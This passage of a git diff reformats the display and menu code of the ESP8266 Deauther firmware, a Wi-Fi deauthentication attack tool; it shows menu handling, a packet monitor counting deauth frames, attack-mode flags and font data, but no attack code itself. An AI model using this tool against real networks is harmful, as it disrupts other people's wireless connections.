CHARS_PER_LINE)); - display.drawProgressBar(5, 22, 118, 8, scan.getPercentage()); - display.drawString(2, 36, str(D_LOADING_SCREEN_1) + (String)accesspoints.count()); - display.drawString(2, 50, str(D_LOADING_SCREEN_2) + (String)stations.count()); - }else{ // Scanning for APs - display.drawString(2, 10, str(D_LOADING_SCREEN_3)); - display.drawString(2, 24, str(D_LOADING_SCREEN_4)); + // ===== adjustable ===== // + if (scan.isScanning()) { + if (scan.isSniffing()) { // Scanning for Stations + display.drawString(2, 0, + buildString(str(D_LOADING_SCREEN_0), (String)scan.getPercentage() + PERCENT, + CHARS_PER_LINE)); + display.drawProgressBar(5, 22, 118, 8, scan.getPercentage()); + display.drawString(2, 36, str(D_LOADING_SCREEN_1) + (String)accesspoints.count()); + display.drawString(2, 50, str(D_LOADING_SCREEN_2) + (String)stations.count()); + } else { // Scanning for APs + display.drawString(2, 10, str(D_LOADING_SCREEN_3)); + display.drawString(2, 24, str(D_LOADING_SCREEN_4)); + } + } else { + mode = SCREEN_MODE_MENU; + changeMenu(&showMenu); } - } else { - mode = SCREEN_MODE_MENU; - changeMenu(&showMenu); - } - // ====================== // + // ====================== // } void DisplayUI::drawPacketMonitor() { - // ===== adjustable ===== // - double scale = scan.getScaleFactor(50); - display.drawString(0, 0, str(D_CH) + String(wifi_channel)); - display.drawString(40, 0, str(D_PKTS) + String(scan.getPacketRate())); - display.setTextAlignment(TEXT_ALIGN_RIGHT); - display.drawString(128, 0, String(scan.deauths)); - display.setTextAlignment(TEXT_ALIGN_LEFT); - if (scan.getMaxPacket() > 0) { - for (int i = 0; i < SCAN_PACKET_LIST_SIZE * 2; i += 2) { - display.drawLine(i, 64, i, 64 - scan.getPackets(i / 2)*scale); - display.drawLine(i + 1, 64, i + 1, 64 - scan.getPackets(i / 2)*scale); + // ===== adjustable ===== // + double scale = scan.getScaleFactor(50); + + display.drawString(0, 0, str(D_CH) + String(wifi_channel)); + display.drawString(40, 0, str(D_PKTS) + String(scan.getPacketRate())); + display.setTextAlignment(TEXT_ALIGN_RIGHT); + display.drawString(128, 0, String(scan.deauths)); + display.setTextAlignment(TEXT_ALIGN_LEFT); + + if (scan.getMaxPacket() > 0) { + for (int i = 0; i < SCAN_PACKET_LIST_SIZE * 2; i += 2) { + display.drawLine(i, 64, i, 64 - scan.getPackets(i / 2) * scale); + display.drawLine(i + 1, 64, i + 1, 64 - scan.getPackets(i / 2) * scale); + } } - } - // ====================== // + // ====================== // } -void DisplayUI::drawIntro(){ - // ===== adjustable ===== // - display.setTextAlignment(TEXT_ALIGN_CENTER); - display.drawString(64, 6, String(F("ESP8266 Deauther"))); - display.drawString(64, 20, String(F("by @Spacehuhn"))); - display.drawString(64, 34, String(F(""))); - display.drawString(64, 48, settings.getVersion()); - // ====================== // +void DisplayUI::drawIntro() { + // ===== adjustable ===== // + display.setTextAlignment(TEXT_ALIGN_CENTER); + display.drawString(64, 6, String(F("ESP8266 Deauther"))); + display.drawString(64, 20, String(F("by @Spacehuhn"))); + display.drawString(64, 34, String(F(""))); + display.drawString(64, 48, settings.getVersion()); + // ====================== // } bool DisplayUI::updateButton(Button* button) { - // direct exit when button is disabled or has no read function - if (!button->enabled || !button->read) return false; + // direct exit when button is disabled or has no read function + if (!button->enabled || !button->read) return false; - // read pin - if(button->read()){ - if(button->push) button->push(); - }else{ - if(button->release) button->release(); - } + // read pin + if (button->read()) { + if (button->push) button->push(); + } else { + if (button->release) button->release(); + } - return button->pushed; + return button->pushed; } void DisplayUI::clearMenu(Menu* menu) { - while (menu->list->size() > 0) { - menu->list->remove(0); - } + while (menu->list->size() > 0) { + menu->list->remove(0); + } } void DisplayUI::changeMenu(Menu* menu) { - if (menu) { - // only open list menu if it has nodes - if((menu == &apListMenu && accesspoints.count() == 0) || - (menu == &stationListMenu && stations.count() == 0) || - (menu == &nameListMenu && names.count() == 0)){ - return; + if (menu) { + // only open list menu if it has nodes + if (((menu == &apListMenu) && (accesspoints.count() == 0)) || + ((menu == &stationListMenu) && (stations.count() == 0)) || + ((menu == &nameListMenu) && (names.count() == 0))) { + return; + } + + if (currentMenu) clearMenu(currentMenu); + currentMenu = menu; + currentMenu->selected = 0; + buttonA.time = currentTime; + + if (selectedID < 0) selectedID = 0; + + if (currentMenu->parentMenu) { + addMenuNode(currentMenu, D_BACK, currentMenu->parentMenu); // add [BACK] + currentMenu->selected = 1; + } + + if (currentMenu->build) currentMenu->build(); } - if (currentMenu) clearMenu(currentMenu); - currentMenu = menu; - currentMenu->selected = 0; - buttonA.time = currentTime; - if(selectedID < 0) selectedID = 0; - if (currentMenu->parentMenu) { - addMenuNode(currentMenu, D_BACK, currentMenu->parentMenu); // add [BACK] - currentMenu->selected = 1; - } - if (currentMenu->build) currentMenu->build(); - } } void DisplayUI::goBack() { - if (currentMenu->parentMenu) changeMenu(currentMenu->parentMenu); + if (currentMenu->parentMenu) changeMenu(currentMenu->parentMenu); } -void DisplayUI::createMenu(Menu* menu, Menu* parent, std::function build) { - menu->list = new SimpleList; - menu->parentMenu = parent; - menu->selected = 0; - menu->build = build; +void DisplayUI::createMenu(Menu* menu, Menu* parent, std::functionbuild) { + menu->list = new SimpleList; + menu->parentMenu = parent; + menu->selected = 0; + menu->build = build; } -void DisplayUI::addMenuNode(Menu* menu, std::function getStr, std::function click, std::function hold) { - menu->list->add(MenuNode{getStr, click, hold}); +void DisplayUI::addMenuNode(Menu* menu, std::functiongetStr, std::functionclick, + std::functionhold) { + menu->list->add(MenuNode{ getStr, click, hold }); } -void DisplayUI::addMenuNode(Menu* menu, std::function getStr, std::function click) { - addMenuNode(menu, getStr, click, NULL); +void DisplayUI::addMenuNode(Menu* menu, std::functiongetStr, std::functionclick) { + addMenuNode(menu, getStr, click, NULL); } -void DisplayUI::addMenuNode(Menu* menu, std::function getStr, Menu* next) { - addMenuNode(menu, getStr, [this, next]() { - changeMenu(next); - }); +void DisplayUI::addMenuNode(Menu* menu, std::functiongetStr, Menu* next) { + addMenuNode(menu, getStr, [this, next]() { + changeMenu(next); + }); } -void DisplayUI::addMenuNode(Menu* menu, const char* ptr, std::function click) { - addMenuNode(menu, [ptr]() { - return str(ptr); - }, click); +void DisplayUI::addMenuNode(Menu* menu, const char* ptr, std::functionclick) { + addMenuNode(menu, [ptr]() { + return str(ptr); + }, click); } void DisplayUI::addMenuNode(Menu* menu, const char* ptr, Menu* next) { - addMenuNode(menu, [ptr]() { - return str(ptr); - }, next); -} - - + addMenuNode(menu, [ptr]() { + return str(ptr); + }, next); +} \ No newline at end of file diff --git a/esp8266_deauther/DisplayUI.h b/esp8266_deauther/DisplayUI.h index e647117..6beadb3 100644 --- a/esp8266_deauther/DisplayUI.h +++ b/esp8266_deauther/DisplayUI.h @@ -16,14 +16,13 @@ extern "C" { #include "Attack.h" - extern Settings settings; -extern Names names; -extern SSIDs ssids; +extern Names names; +extern SSIDs ssids; extern Accesspoints accesspoints; -extern Stations stations; -extern Scan scan; -extern Attack attack; +extern Stations stations; +extern Scan scan; +extern Attack attack; extern uint32_t currentTime; extern String buildString(String left, String right, int maxLen); @@ -50,566 +49,567 @@ struct MenuNode; struct Button; struct Button { - bool enabled; // use button - uint8_t gpio; // pin that is used - bool pushed; // currently pushed - bool hold; // if button was hold (only used for buttonA at the moment) - uint32_t time; // last time it was pushed - std::function read; // function to return if button is pushed - std::function setup; // function to enable/setup the button, if needed - std::function push; // function that is executed when button is pushed - std::function release; // function that is executed when button is released + bool enabled; // use button + uint8_t gpio; // pin that is used + bool pushed; // currently pushed + bool hold; // if button was hold (only used for buttonA at the moment) + uint32_t time; // last time it was pushed + std::functionread; // function to return if button is pushed + std::functionsetup; // function to enable/setup the button, if needed + std::functionpush; // function that is executed when button is pushed + std::functionrelease; // function that is executed when button is released }; struct Menu { - SimpleList* list; - Menu* parentMenu; - uint8_t selected; - std::function build; // function that is executed when button is clicked + SimpleList* list; + Menu * parentMenu; + uint8_t selected; + std::function build; // function that is executed when button is clicked }; struct MenuNode { - std::function getStr; // function used to create the displayed string - std::function click; // function that is executed when node is clicked - std::function hold; // function that is executed when node is pressed for > 800ms + std::functiongetStr; // function used to create the displayed string + std::function click; // function that is executed when node is clicked + std::function hold; // function that is executed when node is pressed for > 800ms }; class DisplayUI { - public: - DisplayUI(); - void setup(); - void update(); - void on(); - void off(); + public: + DisplayUI(); + void setup(); + void update(); + void on(); + void off(); - uint8_t mode = SCREEN_MODE_MENU; - private: - DEAUTHER_DISPLAY // see config.h + uint8_t mode = SCREEN_MODE_MENU; - void setupDisplay(); - void setupButtons(); - - int16_t selectedID = 0; // i.e. access point ID to draw the apMenu - uint16_t scrollCounter = 0; // for horizontal scrolling - uint32_t drawTime = 0; // last time a frame was drawn - uint32_t startTime = 0; // when the screen was enabled - bool enabled = false; // display enabled - - Button buttonUp; - Button buttonDown; - Button buttonLeft; - Button buttonRight; - Button buttonA; - Button buttonB; - - // selected attack modes - bool beaconSelected = false; - bool deauthSelected = false; - bool probeSelected = false; + private: + DEAUTHER_DISPLAY // see config.h - // functions for buttons - bool updateButton(Button* button); // read and update + void setupDisplay(); + void setupButtons(); - // draw functions - void draw(); - void drawString(int x, int y, String str); - void drawButtonTest(); - void drawMenu(); - void drawLoadingScan(); - void drawPacketMonitor(); - void drawIntro(); - void clearMenu(Menu* menu); - - // menu functions - void changeMenu(Menu* menu); - void goBack(); - void createMenu(Menu* menu, Menu* parent, std::function build); + int16_t selectedID = 0; // i.e. access point ID to draw the apMenu + uint16_t scrollCounter = 0; // for horizontal scrolling + uint32_t drawTime = 0; // last time a frame was drawn + uint32_t startTime = 0; // when the screen was enabled + bool enabled = false; // display enabled - void addMenuNode(Menu* menu, std::function getStr, std::function click, std::function hold); - void addMenuNode(Menu* menu, std::function getStr, std::function click); - void addMenuNode(Menu* menu, std::function getStr, Menu* next); - void addMenuNode(Menu* menu, const char* ptr, std::function click); - void addMenuNode(Menu* menu, const char* ptr, Menu* next); - - // menus - Menu* currentMenu; - - Menu mainMenu; - - Menu scanMenu; - Menu showMenu; - Menu attackMenu; - - Menu apListMenu; - Menu stationListMenu; - Menu nameListMenu; - Menu ssidListMenu; - - Menu apMenu; - Menu stationMenu; - Menu nameMenu; - Menu ssidMenu; + Button buttonUp; + Button buttonDown; + Button buttonLeft; + Button buttonRight; + Button buttonA; + Button buttonB; + + // selected attack modes + bool beaconSelected = false; + bool deauthSelected = false; + bool probeSelected = false; + + // functions for buttons + bool updateButton(Button* button); // read and update + + // draw functions + void draw(); + void drawString(int x, int y, String str); + void drawButtonTest(); + void drawMenu(); + void drawLoadingScan(); + void drawPacketMonitor(); + void drawIntro(); + void clearMenu(Menu* menu); + + // menu functions + void changeMenu(Menu* menu); + void goBack(); + void createMenu(Menu* menu, Menu* parent, std::functionbuild); + + void addMenuNode(Menu* menu, std::functiongetStr, std::functionclick, + std::functionhold); + void addMenuNode(Menu* menu, std::functiongetStr, std::functionclick); + void addMenuNode(Menu* menu, std::functiongetStr, Menu* next); + void addMenuNode(Menu* menu, const char* ptr, std::functionclick); + void addMenuNode(Menu* menu, const char* ptr, Menu* next); + + // menus + Menu* currentMenu; + + Menu mainMenu; + + Menu scanMenu; + Menu showMenu; + Menu attackMenu; + + Menu apListMenu; + Menu stationListMenu; + Menu nameListMenu; + Menu ssidListMenu; + + Menu apMenu; + Menu stationMenu; + Menu nameMenu; + Menu ssidMenu; }; // ===== FONT ===== // // Created by http://oleddisplay.squix.ch/ Consider a donation // In case of problems make sure that you are using the font file with the correct version! const uint8_t DejaVu_Sans_Mono_12[] PROGMEM = { - 0x07, // Width: 7 - 0x0F, // Height: 15 - 0x20, // First Char: 32 - 0xE0, // Numbers of Chars: 224 + 0x07, // Width: 7 + 0x0F, // Height: 15 + 0x20, // First Char: 32 + 0xE0, // Numbers of Chars: 224 - // Jump Table: - 0xFF, 0xFF, 0x00, 0x07, // 32:65535 - 0x00, 0x00, 0x08, 0x07, // 33:0 - 0x00, 0x08, 0x09, 0x07, // 34:8 - 0x00, 0x11, 0x0D, 0x07, // 35:17 - 0x00, 0x1E, 0x0C, 0x07, // 36:30 - 0x00, 0x2A, 0x0E, 0x07, // 37:42 - 0x00, 0x38, 0x0E, 0x07, // 38:56 - 0x00, 0x46, 0x07, 0x07, // 39:70 - 0x00, 0x4D, 0x0C, 0x07, // 40:77 - 0x00, 0x59, 0x0A, 0x07, // 41:89 - 0x00, 0x63, 0x0B, 0x07, // 42:99 - 0x00, 0x6E, 0x0E, 0x07, // 43:110 - 0x00, 0x7C, 0x08, 0x07, // 44:124 - 0x00, 0x84, 0x0A, 0x07, // 45:132 - 0x00, 0x8E, 0x08, 0x07, // 46:142 - 0x00, 0x96, 0x0D, 0x07, // 47:150 - 0x00, 0xA3, 0x0E, 0x07, // 48:163 - 0x00, 0xB1, 0x0C, 0x07, // 49:177 - 0x00, 0xBD, 0x0E, 0x07, // 50:189 - 0x00, 0xCB, 0x0E, 0x07, // 51:203 - 0x00, 0xD9, 0x0E, 0x07, // 52:217 - 0x00, 0xE7, 0x0E, 0x07, // 53:231 - 0x00, 0xF5, 0x0E, 0x07, // 54:245 - 0x01, 0x03, 0x0D, 0x07, // 55:259 - 0x01, 0x10, 0x0E, 0x07, // 56:272 - 0x01, 0x1E, 0x0E, 0x07, // 57:286 - 0x01, 0x2C, 0x08, 0x07, // 58:300 - 0x01, 0x34, 0x08, 0x07, // 59:308 - 0x01, 0x3C, 0x0E, 0x07, // 60:316 - 0x01, 0x4A, 0x0E, 0x07, // 61:330 - 0x01, 0x58, 0x0E, 0x07, // 62:344 - 0x01, 0x66, 0x0D, 0x07, // 63:358 - 0x01, 0x73, 0x0E, 0x07, // 64:371 - 0x01, 0x81, 0x0E, 0x07, // 65:385 - 0x01, 0x8F, 0x0E, 0x07, // 66:399 - 0x01, 0x9D, 0x0E, 0x07, // 67:413 - 0x01, 0xAB, 0x0E, 0x07, // 68:427 - 0x01, 0xB9, 0x0E, 0x07, // 69:441 - 0x01, 0xC7, 0x0D, 0x07, // 70:455 - 0x01, 0xD4, 0x0E, 0x07, // 71:468 - 0x01, 0xE2, 0x0E, 0x07, // 72:482 - 0x01, 0xF0, 0x0C, 0x07, // 73:496 - 0x01, 0xFC, 0x0C, 0x07, // 74:508 - 0x02, 0x08, 0x0E, 0x07, // 75:520 - 0x02, 0x16, 0x0E, 0x07, // 76:534 - 0x02, 0x24, 0x0E, 0x07, // 77:548 - 0x02, 0x32, 0x0E, 0x07, // 78:562 - 0x02, 0x40, 0x0E, 0x07, // 79:576 - 0x02, 0x4E, 0x0D, 0x07, // 80:590 - 0x02, 0x5B, 0x0E, 0x07, // 81:603 - 0x02, 0x69, 0x0E, 0x07, // 82:617 - 0x02, 0x77, 0x0E, 0x07, // 83:631 - 0x02, 0x85, 0x0D, 0x07, // 84:645 - 0x02, 0x92, 0x0E, 0x07, // 85:658 - 0x02, 0xA0, 0x0D, 0x07, // 86:672 - 0x02, 0xAD, 0x0E, 0x07, // 87:685 - 0x02, 0xBB, 0x0E, 0x07, // 88:699 - 0x02, 0xC9, 0x0D, 0x07, // 89:713 - 0x02, 0xD6, 0x0E, 0x07, // 90:726 - 0x02, 0xE4, 0x0A, 0x07, // 91:740 - 0x02, 0xEE, 0x0E, 0x07, // 92:750 - 0x02, 0xFC, 0x08, 0x07, // 93:764 - 0x03, 0x04, 0x0B, 0x07, // 94:772 - 0x03, 0x0F, 0x0E, 0x07, // 95:783 - 0x03, 0x1D, 0x09, 0x07, // 96:797 - 0x03, 0x26, 0x0C, 0x07, // 97:806 - 0x03, 0x32, 0x0C, 0x07, // 98:818 - 0x03, 0x3E, 0x0C, 0x07, // 99:830 - 0x03, 0x4A, 0x0C, 0x07, // 100:842 - 0x03, 0x56, 0x0C, 0x07, // 101:854 - 0x03, 0x62, 0x0B, 0x07, // 102:866 - 0x03, 0x6D, 0x0C, 0x07, // 103:877 - 0x03, 0x79, 0x0C, 0x07, // 104:889 - 0x03, 0x85, 0x0C, 0x07, // 105:901 - 0x03, 0x91, 0x0A, 0x07, // 106:913 - 0x03, 0x9B, 0x0C, 0x07, // 107:923 - 0x03, 0xA7, 0x0C, 0x07, // 108:935 - 0x03, 0xB3, 0x0C, 0x07, // 109:947 - 0x03, 0xBF, 0x0C, 0x07, // 110:959 - 0x03, 0xCB, 0x0C, 0x07, // 111:971 - 0x03, 0xD7, 0x0C, 0x07, // 112:983 - 0x03, 0xE3, 0x0C, 0x07, // 113:995 - 0x03, 0xEF, 0x0D, 0x07, // 114:1007 - 0x03, 0xFC, 0x0C, 0x07, // 115:1020 - 0x04, 0x08, 0x0C, 0x07, // 116:1032 - 0x04, 0x14, 0x0C, 0x07, // 117:1044 - 0x04, 0x20, 0x0B, 0x07, // 118:1056 - 0x04, 0x2B, 0x0D, 0x07, // 119:1067 - 0x04, 0x38, 0x0C, 0x07, // 120:1080 - 0x04, 0x44, 0x0B, 0x07, // 121:1092 - 0x04, 0x4F, 0x0C, 0x07, // 122:1103 - 0x04, 0x5B, 0x0C, 0x07, // 123:1115 - 0x04, 0x67, 0x08, 0x07, // 124:1127 - 0x04, 0x6F, 0x0B, 0x07, // 125:1135 - 0x04, 0x7A, 0x0E, 0x07, // 126:1146 - 0x04, 0x88, 0x0E, 0x07, // 127:1160 - 0x04, 0x96, 0x0E, 0x07, // 128:1174 - 0x04, 0xA4, 0x0E, 0x07, // 129:1188 - 0x04, 0xB2, 0x0E, 0x07, // 130:1202 - 0x04, 0xC0, 0x0E, 0x07, // 131:1216 - 0x04, 0xCE, 0x0E, 0x07, // 132:1230 - 0x04, 0xDC, 0x0E, 0x07, // 133:1244 - 0x04, 0xEA, 0x0E, 0x07, // 134:1258 - 0x04, 0xF8, 0x0E, 0x07, // 135:1272 - 0x05, 0x06, 0x0E, 0x07, // 136:1286 - 0x05, 0x14, 0x0E, 0x07, // 137:1300 - 0x05, 0x22, 0x0E, 0x07, // 138:1314 - 0x05, 0x30, 0x0E, 0x07, // 139:1328 - 0x05, 0x3E, 0x0E, 0x07, // 140:1342 - 0x05, 0x4C, 0x0E, 0x07, // 141:1356 - 0x05, 0x5A, 0x0E, 0x07, // 142:1370 - 0x05, 0x68, 0x0E, 0x07, // 143:1384 - 0x05, 0x76, 0x0E, 0x07, // 144:1398 - 0x05, 0x84, 0x0E, 0x07, // 145:1412 - 0x05, 0x92, 0x0E, 0x07, // 146:1426 - 0x05, 0xA0, 0x0E, 0x07, // 147:1440 - 0x05, 0xAE, 0x0E, 0x07, // 148:1454 - 0x05, 0xBC, 0x0E, 0x07, // 149:1468 - 0x05, 0xCA, 0x0E, 0x07, // 150:1482 - 0x05, 0xD8, 0x0E, 0x07, // 151:1496 - 0x05, 0xE6, 0x0E, 0x07, // 152:1510 - 0x05, 0xF4, 0x0E, 0x07, // 153:1524 - 0x06, 0x02, 0x0E, 0x07, // 154:1538 - 0x06, 0x10, 0x0E, 0x07, // 155:1552 - 0x06, 0x1E, 0x0E, 0x07, // 156:1566 - 0x06, 0x2C, 0x0E, 0x07, // 157:1580 - 0x06, 0x3A, 0x0E, 0x07, // 158:1594 - 0x06, 0x48, 0x0E, 0x07, // 159:1608 - 0xFF, 0xFF, 0x00, 0x07, // 160:65535 - 0x06, 0x56, 0x08, 0x07, // 161:1622 - 0x06, 0x5E, 0x0C, 0x07, // 162:1630 - 0x06, 0x6A, 0x0C, 0x07, // 163:1642 - 0x06, 0x76, 0x0E, 0x07, // 164:1654 - 0x06, 0x84, 0x0D, 0x07, // 165:1668 - 0x06, 0x91, 0x08, 0x07, // 166:1681 - 0x06, 0x99, 0x0C, 0x07, // 167:1689 - 0x06, 0xA5, 0x09, 0x07, // 168:1701 - 0x06, 0xAE, 0x0E, 0x07, // 169:1710 - 0x06, 0xBC, 0x0A, 0x07, // 170:1724 - 0x06, 0xC6, 0x0E, 0x07, // 171:1734 - 0x06, 0xD4, 0x0E, 0x07, // 172:1748 - 0x06, 0xE2, 0x0A, 0x07, // 173:1762 - 0x06, 0xEC, 0x0E, 0x07, // 174:1772 - 0x06, 0xFA, 0x0B, 0x07, // 175:1786 - 0x07, 0x05, 0x0B, 0x07, // 176:1797 - 0x07, 0x10, 0x0E, 0x07, // 177:1808 - 0x07, 0x1E, 0x09, 0x07, // 178:1822 - 0x07, 0x27, 0x0B, 0x07, // 179:1831 - 0x07, 0x32, 0x09, 0x07, // 180:1842 - 0x07, 0x3B, 0x0E, 0x07, // 181:1851 - 0x07, 0x49, 0x0E, 0x07, // 182:1865 - 0x07, 0x57, 0x08, 0x07, // 183:1879 - 0x07, 0x5F, 0x0A, 0x07, // 184:1887 - 0x07, 0x69, 0x09, 0x07, // 185:1897 - 0x07, 0x72, 0x0A, 0x07, // 186:1906 - 0x07, 0x7C, 0x0E, 0x07, // 187:1916 - 0x07, 0x8A, 0x0E, 0x07, // 188:1930 - 0x07, 0x98, 0x0C, 0x07, // 189:1944 - 0x07, 0xA4, 0x0E, 0x07, // 190:1956 - 0x07, 0xB2, 0x0A, 0x07, // 191:1970 - 0x07, 0xBC, 0x0E, 0x07, // 192:1980 - 0x07, 0xCA, 0x0E, 0x07, // 193:1994 - 0x07, 0xD8, 0x0E, 0x07, // 194:2008 - 0x07, 0xE6, 0x0E, 0x07, // 195:2022 - 0x07, 0xF4, 0x0E, 0x07, // 196:2036 - 0x08, 0x02, 0x0E, 0x07, // 197:2050 - 0x08, 0x10, 0x0E, 0x07, // 198:2064 - 0x08, 0x1E, 0x0E, 0x07, // 199:2078 - 0x08, 0x2C, 0x0E, 0x07, // 200:2092 - 0x08, 0x3A, 0x0E, 0x07, // 201:2106 - 0x08, 0x48, 0x0E, 0x07, // 202:2120 - 0x08, 0x56, 0x0E, 0x07, // 203:2134 - 0x08, 0x64, 0x0C, 0x07, // 204:2148 - 0x08, 0x70, 0x0C, 0x07, // 205:2160 - 0x08, 0x7C, 0x0C, 0x07, // 206:2172 - 0x08, 0x88, 0x0C, 0x07, // 207:2184 - 0x08, 0x94, 0x0E, 0x07, // 208:2196 - 0x08, 0xA2, 0x0E, 0x07, // 209:2210 - 0x08, 0xB0, 0x0E, 0x07, // 210:2224 - 0x08, 0xBE, 0x0E, 0x07, // 211:2238 - 0x08, 0xCC, 0x0E, 0x07, // 212:2252 - 0x08, 0xDA, 0x0E, 0x07, // 213:2266 - 0x08, 0xE8, 0x0E, 0x07, // 214:2280 - 0x08, 0xF6, 0x0C, 0x07, // 215:2294 - 0x09, 0x02, 0x0E, 0x07, // 216:2306 - 0x09, 0x10, 0x0E, 0x07, // 217:2320 - 0x09, 0x1E, 0x0E, 0x07, // 218:2334 - 0x09, 0x2C, 0x0E, 0x07, // 219:2348 - 0x09, 0x3A, 0x0E, 0x07, // 220:2362 - 0x09, 0x48, 0x0D, 0x07, // 221:2376 - 0x09, 0x55, 0x0D, 0x07, // 222:2389 - 0x09, 0x62, 0x0C, 0x07, // 223:2402 - 0x09, 0x6E, 0x0C, 0x07, // 224:2414 - 0x09, 0x7A, 0x0C, 0x07, // 225:2426 - 0x09, 0x86, 0x0C, 0x07, // 226:2438 - 0x09, 0x92, 0x0C, 0x07, // 227:2450 - 0x09, 0x9E, 0x0C, 0x07, // 228:2462 - 0x09, 0xAA, 0x0C, 0x07, // 229:2474 - 0x09, 0xB6, 0x0C, 0x07, // 230:2486 - 0x09, 0xC2, 0x0C, 0x07, // 231:2498 - 0x09, 0xCE, 0x0C, 0x07, // 232:2510 - 0x09, 0xDA, 0x0C, 0x07, // 233:2522 - 0x09, 0xE6, 0x0C, 0x07, // 234:2534 - 0x09, 0xF2, 0x0C, 0x07, // 235:2546 - 0x09, 0xFE, 0x0C, 0x07, // 236:2558 - 0x0A, 0x0A, 0x0C, 0x07, // 237:2570 - 0x0A, 0x16, 0x0C, 0x07, // 238:2582 - 0x0A, 0x22, 0x0C, 0x07, // 239:2594 - 0x0A, 0x2E, 0x0C, 0x07, // 240:2606 - 0x0A, 0x3A, 0x0C, 0x07, // 241:2618 - 0x0A, 0x46, 0x0C, 0x07, // 242:2630 - 0x0A, 0x52, 0x0C, 0x07, // 243:2642 - 0x0A, 0x5E, 0x0C, 0x07, // 244:2654 - 0x0A, 0x6A, 0x0C, 0x07, // 245:2666 - 0x0A, 0x76, 0x0C, 0x07, // 246:2678 - 0x0A, 0x82, 0x0C, 0x07, // 247:2690 - 0x0A, 0x8E, 0x0C, 0x07, // 248:2702 - 0x0A, 0x9A, 0x0C, 0x07, // 249:2714 - 0x0A, 0xA6, 0x0C, 0x07, // 250:2726 - 0x0A, 0xB2, 0x0C, 0x07, // 251:2738 - 0x0A, 0xBE, 0x0C, 0x07, // 252:2750 - 0x0A, 0xCA, 0x0B, 0x07, // 253:2762 - 0x0A, 0xD5, 0x0C, 0x07, // 254:2773 - 0x0A, 0xE1, 0x0B, 0x07, // 255:2785 + // Jump Table: + 0xFF, 0xFF, 0x00, 0x07, // 32:65535 + 0x00, 0x00, 0x08, 0x07, // 33:0 + 0x00, 0x08, 0x09, 0x07, // 34:8 + 0x00, 0x11, 0x0D, 0x07, // 35:17 + 0x00, 0x1E, 0x0C, 0x07, // 36:30 + 0x00, 0x2A, 0x0E, 0x07, // 37:42 + 0x00, 0x38, 0x0E, 0x07, // 38:56 + 0x00, 0x46, 0x07, 0x07, // 39:70 + 0x00, 0x4D, 0x0C, 0x07, // 40:77 + 0x00, 0x59, 0x0A, 0x07, // 41:89 + 0x00, 0x63, 0x0B, 0x07, // 42:99 + 0x00, 0x6E, 0x0E, 0x07, // 43:110 + 0x00, 0x7C, 0x08, 0x07, // 44:124 + 0x00, 0x84, 0x0A, 0x07, // 45:132 + 0x00, 0x8E, 0x08, 0x07, // 46:142 + 0x00, 0x96, 0x0D, 0x07, // 47:150 + 0x00, 0xA3, 0x0E, 0x07, // 48:163 + 0x00, 0xB1, 0x0C, 0x07, // 49:177 + 0x00, 0xBD, 0x0E, 0x07, // 50:189 + 0x00, 0xCB, 0x0E, 0x07, // 51:203 + 0x00, 0xD9, 0x0E, 0x07, // 52:217 + 0x00, 0xE7, 0x0E, 0x07, // 53:231 + 0x00, 0xF5, 0x0E, 0x07, // 54:245 + 0x01, 0x03, 0x0D, 0x07, // 55:259 + 0x01, 0x10, 0x0E, 0x07, // 56:272 + 0x01, 0x1E, 0x0E, 0x07, // 57:286 + 0x01, 0x2C, 0x08, 0x07, // 58:300 + 0x01, 0x34, 0x08, 0x07, // 59:308 + 0x01, 0x3C, 0x0E, 0x07, // 60:316 + 0x01, 0x4A, 0x0E, 0x07, // 61:330 + 0x01, 0x58, 0x0E, 0x07, // 62:344 + 0x01, 0x66, 0x0D, 0x07, // 63:358 + 0x01, 0x73, 0x0E, 0x07, // 64:371 + 0x01, 0x81, 0x0E, 0x07, // 65:385 + 0x01, 0x8F, 0x0E, 0x07, // 66:399 + 0x01, 0x9D, 0x0E, 0x07, // 67:413 + 0x01, 0xAB, 0x0E, 0x07, // 68:427 + 0x01, 0xB9, 0x0E, 0x07, // 69:441 + 0x01, 0xC7, 0x0D, 0x07, // 70:455 + 0x01, 0xD4, 0x0E, 0x07, // 71:468 + 0x01, 0xE2, 0x0E, 0x07, // 72:482 + 0x01, 0xF0, 0x0C, 0x07, // 73:496 + 0x01, 0xFC, 0x0C, 0x07, // 74:508 + 0x02, 0x08, 0x0E, 0x07, // 75:520 + 0x02, 0x16, 0x0E, 0x07, // 76:534 + 0x02, 0x24, 0x0E, 0x07, // 77:548 + 0x02, 0x32, 0x0E, 0x07, // 78:562 + 0x02, 0x40, 0x0E, 0x07, // 79:576 + 0x02, 0x4E, 0x0D, 0x07, // 80:590 + 0x02, 0x5B, 0x0E, 0x07, // 81:603 + 0x02, 0x69, 0x0E, 0x07, // 82:617 + 0x02, 0x77, 0x0E, 0x07, // 83:631 + 0x02, 0x85, 0x0D, 0x07, // 84:645 + 0x02, 0x92, 0x0E, 0x07, // 85:658 + 0x02, 0xA0, 0x0D, 0x07, // 86:672 + 0x02, 0xAD, 0x0E, 0x07, // 87:685 + 0x02, 0xBB, 0x0E, 0x07, // 88:699 + 0x02, 0xC9, 0x0D, 0x07, // 89:713 + 0x02, 0xD6, 0x0E, 0x07, // 90:726 + 0x02, 0xE4, 0x0A, 0x07, // 91:740 + 0x02, 0xEE, 0x0E, 0x07, // 92:750 + 0x02, 0xFC, 0x08, 0x07, // 93:764 + 0x03, 0x04, 0x0B, 0x07, // 94:772 + 0x03, 0x0F, 0x0E, 0x07, // 95:783 + 0x03, 0x1D, 0x09, 0x07, // 96:797 + 0x03, 0x26, 0x0C, 0x07, // 97:806 + 0x03, 0x32, 0x0C, 0x07, // 98:818 + 0x03, 0x3E, 0x0C, 0x07, // 99:830 + 0x03, 0x4A, 0x0C, 0x07, // 100:842 + 0x03, 0x56, 0x0C, 0x07, // 101:854 + 0x03, 0x62, 0x0B, 0x07, // 102:866 + 0x03, 0x6D, 0x0C, 0x07, // 103:877 + 0x03, 0x79, 0x0C, 0x07, // 104:889 + 0x03, 0x85, 0x0C, 0x07, // 105:901 + 0x03, 0x91, 0x0A, 0x07, // 106:913 + 0x03, 0x9B, 0x0C, 0x07, // 107:923 + 0x03, 0xA7, 0x0C, 0x07, // 108:935 + 0x03, 0xB3, 0x0C, 0x07, // 109:947 + 0x03, 0xBF, 0x0C, 0x07, // 110:959 + 0x03, 0xCB, 0x0C, 0x07, // 111:971 + 0x03, 0xD7, 0x0C, 0x07, // 112:983 + 0x03, 0xE3, 0x0C, 0x07, // 113:995 + 0x03, 0xEF, 0x0D, 0x07, // 114:1007 + 0x03, 0xFC, 0x0C, 0x07, // 115:1020 + 0x04, 0x08, 0x0C, 0x07, // 116:1032 + 0x04, 0x14, 0x0C, 0x07, // 117:1044 + 0x04, 0x20, 